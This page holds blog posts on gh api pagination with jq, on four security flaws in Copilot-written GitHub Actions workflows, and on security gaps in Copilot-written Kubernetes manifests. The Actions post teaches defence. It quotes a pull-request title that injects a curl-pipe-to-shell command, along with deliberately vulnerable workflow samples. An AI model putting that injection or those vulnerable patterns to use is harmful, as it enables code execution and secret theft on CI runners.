I found this while writing pagination recipes for a toolkit, and then found the same wrong example in a lesson I had published — with 1,797 search impressions a month on it. So this is partly a correction and partly the mental model that stops it happening again.

What `--slurp` actually does

From gh api --help (gh 2.100.0):

Each page is a separate JSON array or object. Pass --slurp to wrap all pages of JSON arrays or objects into an outer JSON array.

Read it twice. Without --slurp, --paginate emits one JSON array per page and applies your --jq filter to each page in turn. With --slurp, you get one array whose elements are the pages — an array of arrays. length on that is the number of pages.

You can see the shape without a token. Simulate two pages from the public API and wrap them the way --slurp does (jq -s slurps its inputs into one array, which is exactly the --slurp semantics):

curl -s 'https://api.github.com/repos/cli/cli/pulls?per_page=5&page=1' > p1.json
curl -s 'https://api.github.com/repos/cli/cli/pulls?per_page=5&page=2' > p2.json

jq -s 'length' p1.json p2.json
# 2                      ← pages

jq -s 'add | length' p1.json p2.json
# 10                     ← pull requests

add concatenates the page arrays into one list. Then length counts items. Every whole-collection filter after --slurp starts with add.

The three flags, and how they combine

Flag	What it does	Needs
`--paginate`	Follows `Link: rel="next"` (REST) or `pageInfo.hasNextPage` (GraphQL with `$endCursor`)	—
`--jq EXPR`	Runs the filter per page, unless `--slurp` is present	—
`--slurp`	Wraps all pages in one outer array before `--jq` runs	`--paginate`

The rule: anything that counts, sorts, or deduplicates across pages needs --slurp and then add.

# Wrong — one number per page
gh api --paginate repos/OWNER/REPO/issues --jq 'length'

# Wrong — number of pages
gh api --paginate --slurp repos/OWNER/REPO/issues --jq 'length'

# Right
gh api --paginate --slurp 'repos/OWNER/REPO/issues?per_page=100' --jq 'add | length'

Two more things in that last line. per_page=100 is the maximum for almost every list endpoint; the default of 30 makes --paginate do three times the requests. And the path is quoted because & would otherwise background the command.

The second trap on the same endpoint

/issues returns pull requests too. Every PR is an issue in GitHub's data model, with a pull_request key set. So the count above is still not "open issues":

gh api --paginate --slurp 'repos/OWNER/REPO/issues?per_page=100' \
  --jq 'add | map(select(.pull_request == null)) | length'

Endpoints that wrap their list

Some endpoints return an object — { total_count, workflow_runs: [...] } — not a bare array. add on those merges objects, which is not what you want. Reach into the list first:

gh api --paginate --slurp 'repos/OWNER/REPO/actions/runs?per_page=100&status=failure' \
  --jq 'map(.workflow_runs) | add | length'

Same for search/* (map(.items) | add), artifacts, and anything else with a total_count.

A recipe you can keep

Open pull requests older than two weeks, oldest first, drafts excluded — run against a repository you have access to:

gh api --paginate --slurp 'repos/OWNER/REPO/pulls?per_page=100&state=open' \
  --jq 'add
        | map(select(.draft | not))
        | map({number, title, author: .user.login, created_at})
        | sort_by(.created_at)
        | .[]
        | "\(.number)\t\(.created_at[:10])\t\(.author)\t\(.title)"'

gh api --jq prints strings raw, so the output goes straight into cut, sort, or a spreadsheet.

Where the rest of these live

I put ten of these patterns — issues counted by label, failed runs this week, repositories in an org missing a CODEOWNERS file, GraphQL cursor pagination, idempotent label writes — in a free file: gh api pagination recipes. Every jq filter in it was run against the live API before publication, which is how the counting bug got caught.

The full lesson on gh api — placeholders, -f versus -F, GraphQL, response headers, the safety habits — is here: gh api: the full GitHub API from the command line. It is corrected now.

Copilot Writes Your GitHub Actions Workflow. Here Are the 4 Things It Gets Wrong.

James Joyner — Sat, 12 Sep 2026 16:38:33 +0000

Copilot is genuinely good at GitHub Actions YAML. It knows the schema, it remembers the syntax you always look up, and it will produce a working workflow faster than you will.

It is also fluent in every insecure pattern on GitHub, because those patterns are all over its training data. The workflow it hands you will usually run. That is a different property from being safe.

Here are the four things I check on every generated workflow, in the order they cost you.

1. Script injection via `github.event`

This is the one that turns a pull request into code execution on your runner.

Anything under github.event that a contributor controls — PR title, body, branch name, commit message — is untrusted input. Interpolating it into a run: block with ${{ }} is command injection, full stop.

# Vulnerable. The PR title is shell.
- run: echo "Reviewing: ${{ github.event.pull_request.title }}"

A pull request titled a"; curl evil.sh | sh; # is not a hypothetical. The ${{ }} expression is substituted into the script before the shell sees it, so quoting inside the YAML does not save you.

# Safe. The value arrives as an environment variable, never as script text.
- run: echo "Reviewing: $PR_TITLE"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

The fix is mechanical: pass it through env:. Copilot will write it correctly if you ask, and will usually write the interpolated version if you do not.

2. Permissions default to whatever the repository says

If your workflow does not declare permissions, the token gets the repository default — which may well be write access to everything.

permissions:
  contents: read     # at the workflow level

jobs:
  release:
    permissions:
      contents: write  # widened only where it is needed

Set contents: read at the top and widen per job. Generated workflows omit the block entirely far more often than they get it wrong.

3. Tags are mutable pointers owned by someone else

- uses: some-org/some-action@v3          # a tag. Can be repointed at any time.
- uses: some-org/some-action@a81bbbf...  # a commit. Cannot.

Pin every third-party action to a full commit SHA. @v3 is a label the action's maintainer — or anyone who compromises their account — can move to different code without your repository changing at all.

This is the one where Copilot is least likely to help unprompted, because essentially every example on the internet uses a tag.

4. `pull_request_target` is not `pull_request`

pull_request_target runs with a writable token and access to secrets, in the base repository's context. That is the point of it, and it is why it exists for workflows that need to comment on or label PRs from forks.

Combining it with a checkout of the PR head is the classic compromise:

# Dangerous: untrusted code, running with secrets and a write token.
on: pull_request_target
jobs:
  build:
    steps:
      - uses: actions/checkout@<sha>
        with:
          ref: ${{ github.event.pull_request.head.sha }}   # fork's code
      - run: npm install && npm test                        # fork's scripts

If you asked for "a workflow that tests pull requests from forks", this shape is a plausible answer and a serious hole. Use pull_request unless you specifically need the elevated context, and if you do need it, do not execute the fork's code in the same job.

And one thing to do instead of managing secrets

Use OIDC rather than stored cloud credentials. Your workflow requests a short-lived token from the cloud provider, scoped to the repository and branch. There is then no long-lived secret in the repository to leak, rotate, or find in a log.

permissions:
  id-token: write
  contents: read

Copilot writes OIDC configuration well when you ask for it by name. It will reach for secrets.AWS_ACCESS_KEY_ID when you do not.

How to actually get better output

Two things move generated workflows more than prompt phrasing does:

Put the rules in an instructions file. A .github/copilot-instructions.md stating "pin actions to SHAs, never interpolate github.event into run:, declare permissions at workflow level" changes what comes back on every request, in a way that re-prompting does not. It supplies information the model did not have, rather than asking it to try harder.

Let actionlint be the gate. It catches shell-injection patterns, bad expressions and schema errors, and it runs in about a second. Anything it catches is something you do not have to review for.

actionlint is the closest thing to a free win here — and it is worth knowing what it does not catch, which is most of items 2, 3 and 4 above. Those are policy, not syntax, and a human or an instructions file has to carry them.

I keep a fuller version of this — including the worked example, the destructive-workflow review checklist, and what actionlint does and does not catch — at GitHub Copilot for CI/CD with GitHub Actions. The instructions-file lesson is the other half of this.

Copilot Wrote a Kubernetes Manifest That Passed Schema Validation With 21 Security Findings In It

James Joyner — Sat, 12 Sep 2026 06:52:17 +0000

I asked Copilot for a Deployment manifest. It produced valid YAML. kubeconform passed it against the strict schema without a complaint.

Then I ran a policy scanner over the same file and got twenty-one findings.

Nothing was wrong with the YAML. Everything was wrong with the Deployment.

Schema validation and safety are different questions

This is the part worth internalising, because it generalises past Kubernetes: a structural validator checks that your file is shaped correctly. It has no opinion about whether the thing you described is a good idea.

kubeconform asks "is spec.template.spec.containers[0].image a string?" It does not ask "does this container run as root?" Both tools were doing their jobs. Only one of them was doing the review.

Run both. The schema check is fast enough to be a pre-commit hook; the policy scan belongs in CI.

The three things generated manifests omit, essentially every time

Probes. No readinessProbe, no livenessProbe, no startupProbe.

Resource requests and limits. A pod with no requests is scheduled anywhere and evicted first.

securityContext. No runAsNonRoot, no allowPrivilegeEscalation: false, no readOnlyRootFilesystem, no dropped capabilities.

Those three are the review. If you check nothing else on a generated manifest, check those — and note that a namespace with Pod Security Admission set to restricted will reject the pod at admission rather than at review, which is a much better place to find out.

The probe mistake that turns a slow dependency into an outage

This one deserves its own section because it is subtle, common, and it fails at exactly the wrong moment.

Generated manifests frequently point livenessProbe and readinessProbe at the same endpoint. They look equivalent. They are not — they answer different questions:

startupProbe — has it finished booting?
readinessProbe — should it receive traffic right now?
livenessProbe — is it wedged, and worth killing?

If your /health endpoint checks the database, and the database gets slow, then a shared probe means every pod simultaneously fails liveness. Kubernetes responds by restarting your entire deployment during an incident instead of taking the pods out of rotation and letting them recover.

Readiness failing is "stop sending me traffic". Liveness failing is "I am beyond saving, kill me". Wiring them to the same check tells the cluster to do the second when you meant the first.

`--dry-run=client` is not offline

A very common and wrong assumption, and worth stating plainly because it breaks CI in a confusing way:

kubectl apply --dry-run=client -f manifests/

This downloads the OpenAPI schema from the API server. With no cluster reachable, it fails outright. It is not a local syntax check, and it is not what you want in a pipeline that has no cluster credentials. Use kubeconform for that.

And check your context before every command

kubectl config current-context

Ambient context is how a command meant for staging reaches production. This has nothing to do with AI and everything to do with the fact that generated commands are easy to paste quickly.

Where Copilot genuinely helps here

Not in producing the manifest — in explaining one. Pointing it at an inherited chart and asking what a particular block does, or why a probe is configured a certain way, is the use case that has consistently earned its keep for me. Reading unfamiliar YAML is slow and there is no glory in it.

It is also good at the mechanical transformations: converting a Deployment to a StatefulSet, adding an init container, expanding a Kustomize overlay.

The pattern is the same one everywhere: it is strong where the answer is determined by the input, and weak where the answer requires knowing what your cluster is actually like.

The fix that outlasts the prompt

Put the rules in .github/copilot-instructions.md rather than re-typing them:

- Every container sets resources.requests and resources.limits.
- securityContext on every pod and container: runAsNonRoot, 
  allowPrivilegeEscalation: false, readOnlyRootFilesystem, drop ALL.
- Images pinned by digest, not tag. :latest is not deployable here.
- Three probes, and they point at different endpoints.

That changes what comes back on every request, which re-prompting does not. It supplies information the model did not have rather than asking it to try harder.

The longer version — including the full findings list, the NetworkPolicy and PodDisruptionBudget defaults, and the conftest policies — is at GitHub Copilot for Kubernetes Manifests. There is a companion repository with the manifests and the policy tests if you want something to run.